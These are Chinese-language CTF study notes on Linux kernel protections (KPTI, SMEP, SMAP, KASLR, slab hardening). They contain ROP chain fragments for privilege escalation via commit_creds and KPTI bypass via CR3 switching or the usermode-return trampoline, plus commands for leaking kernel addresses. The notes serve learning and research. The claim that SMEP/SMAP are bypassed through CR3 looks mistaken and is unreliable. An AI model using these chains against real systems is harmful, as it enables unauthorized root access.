常见保护

一.KPTI

kpti简介

简单说就是内核页表隔离:可以访问用户空间内存,但是不能执行用户空间代码;即无法直接通过构造swapgs_iretq的ROP来返回用户态。

PGD:出现用于处理中断

所以有一个CR3寄存器

PGD:当CR3[12]为1时为用户态,为0时为内核态,所以关键是要看怎么切换CR3[12]。

ASID:当CR3[11]为1时为用户态,为0时为内核态,所以关键是要看怎么切换CR3[11]。一般CR4开启PCIDE时CR3的低12位才有意义,正常情况下都是置为0

所以一旦开启kpti就不能使用ret2user,因为内核态无法确认用户态页表

kpti绕过

swap CR3

在一个开启 KPTI内核中会调用SWITCH_KERNEL_CR3_NO_STACK函数来从用户态进入内核态,关键代码如下所示:

1
2
3
4
5
6
7
8
mov     rdi, cr3
nop
nop
nop
nop
nop
and rdi, 0xFFFFFFFFFFFFE7FF
mov cr3, rdi

这个作用就是将CR3[11]=CR3[12]=0;

而从内核态返回到用户态调用 SWITCH_USER_CR3宏来切换 CR3如下所示:就是将其加在swapgs前

1
2
3
mov     rdi, cr3
or rdi, 1000h
mov cr3, rdi

可以参考qwb2018-core

// 1. 提权
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = commit_creds;
rop[i++] = mov_rdi_rax;
// === 新增:KPTI绕过部分 ===
// 方法一:使用单独的gadgets手动切换CR3
rop[i++] = mov_rdi_cr3;      // 将当前CR3读到RDI
rop[i++] = or_rdi_0x1000;    // RDI = RDI | 0x1000 (切换到用户页表)
rop[i++] = mov_cr3_rdi;      // 将修改后的值写回CR3

// 方法二:或者直接跳转到KPTI trampoline(如果找到的话)
// rop[i++] = kpti_trampoline;

// 恢复执行环境并返回用户态
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

swapgs_restore_regs_and_return_to_usermode

直接找vmlinux汇编代码

swapgs_restore_regs_and_return_to_usermode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
.text:FFFFFFFF81600A34 41 5F                          pop     r15
.text:FFFFFFFF81600A36 41 5E pop r14
.text:FFFFFFFF81600A38 41 5D pop r13
.text:FFFFFFFF81600A3A 41 5C pop r12
.text:FFFFFFFF81600A3C 5D pop rbp
.text:FFFFFFFF81600A3D 5B pop rbx
.text:FFFFFFFF81600A3E 41 5B pop r11
.text:FFFFFFFF81600A40 41 5A pop r10
.text:FFFFFFFF81600A42 41 59 pop r9
.text:FFFFFFFF81600A44 41 58 pop r8
.text:FFFFFFFF81600A46 58 pop rax
.text:FFFFFFFF81600A47 59 pop rcx
.text:FFFFFFFF81600A48 5A pop rdx
.text:FFFFFFFF81600A49 5E pop rsi
.text:FFFFFFFF81600A4A 48 89 E7 mov rdi, rsp
.text:FFFFFFFF81600A4D 65 48 8B 24 25+ mov rsp, gs: 0x5004//从此处开始执行
.text:FFFFFFFF81600A56 FF 77 30 push qword ptr [rdi+30h]
.text:FFFFFFFF81600A59 FF 77 28 push qword ptr [rdi+28h]
.text:FFFFFFFF81600A5C FF 77 20 push qword ptr [rdi+20h]
.text:FFFFFFFF81600A5F FF 77 18 push qword ptr [rdi+18h]
.text:FFFFFFFF81600A62 FF 77 10 push qword ptr [rdi+10h]
.text:FFFFFFFF81600A65 FF 37 push qword ptr [rdi]
.text:FFFFFFFF81600A67 50 push rax
.text:FFFFFFFF81600A68 EB 43 nop
.text:FFFFFFFF81600A6A 0F 20 DF mov rdi, cr3
.text:FFFFFFFF81600A6D EB 34 jmp 0xFFFFFFFF81600AA3

.text:FFFFFFFF81600AA3 48 81 CF 00 10+ or rdi, 1000h
.text:FFFFFFFF81600AAA 0F 22 DF mov cr3, rdi
.text:FFFFFFFF81600AAD 58 pop rax
.text:FFFFFFFF81600AAE 5F pop rdi
.text:FFFFFFFF81600AAF FF 15 23 65 62+ call cs: SWAPGS
.text:FFFFFFFF81600AB5 FF 25 15 65 62+ jmp cs: INTERRUPT_RETURN

_SWAPGS
.text:FFFFFFFF8103EFC0 55 push rbp
.text:FFFFFFFF8103EFC1 48 89 E5 mov rbp, rsp
.text:FFFFFFFF8103EFC4 0F 01 F8 swapgs
.text:FFFFFFFF8103EFC7 5D pop rbp
.text:FFFFFFFF8103EFC8 C3 retn

_INTERRUPT_RETURN
.text:FFFFFFFF81600AE0 F6 44 24 20 04 test byte ptr [rsp+0x20], 4
.text:FFFFFFFF81600AE5 75 02 jnz native_irq_return_ldt
.text:FFFFFFFF81600AE7 48 CF iretq

可以参考qwb2018-core

	rop[i++] = canary;	
	rop[i++] = 0;
 	rop[i++] = pop_rdi;
 	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;
 	rop[i++] = pop_rdx;
 	rop[i++] = commit_creds;
 	rop[i++] = mov_rdi_rax;
 	//swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
 	rop[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + kernel_offset; //就是ida中mov rdi,rsp开头
 	rop[i++] = 随便来个地址
 	rop[i++] = 随便来个地址
 	rop[i++] = (size_t)getshell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
 	rop[i++] = user_ss;

参考: Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)

怎么查看

1.进入内核

1
2
./start.sh
cat /sys/devices/system/cpu/vulnerabilities/*

2.看start.sh

1
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \

二.SMEP、SMAP、KASLR等

基本上start.sh里都有写

SMEP:

内核态下,禁止执行用户空间的内存。

SMAP:

内核态下,禁止读写用户空间的内存。(可通过特定指令临时关闭)

可以通过ROP修改CR3寄存器来绕过

KASLR:

通常需要泄露地址,可以通过以下命令查看当前基地址

1
cat /proc/kallsyms | grep startup_64

image-20220118120655137

1
echo 1 > /proc/sys/kernel/kptr_restrict//大多数init.sh都开启了这个,所以不能直接访问

但是也可以爆破,KASLR的随机化程度只有9bit

三.其他保护

STACK PROTECTOR:类似用户态的cancary

参考README.MD:有时候出题人给的README.MD会给配置

1
2
3
4
5
6
plaintextCONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""

如上就是使用SLAB分配,开启RANDOM和HARDENED保护,以及Hardened Usercopy(内核空间指针也会进行非常严格的安全性检查,包括不允许为空指针、不允许指向 kmalloc 分配的零长度区域、不允许指向内核代码段、如果指向 Slab 则不允许超过 Slab 分配器分配的长度、如果涉及到栈则不允许超出当前进程的栈空间等等。)和 Static Usermodehelper Path(modprobe_path 为只读,不可修改)

参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3’s blog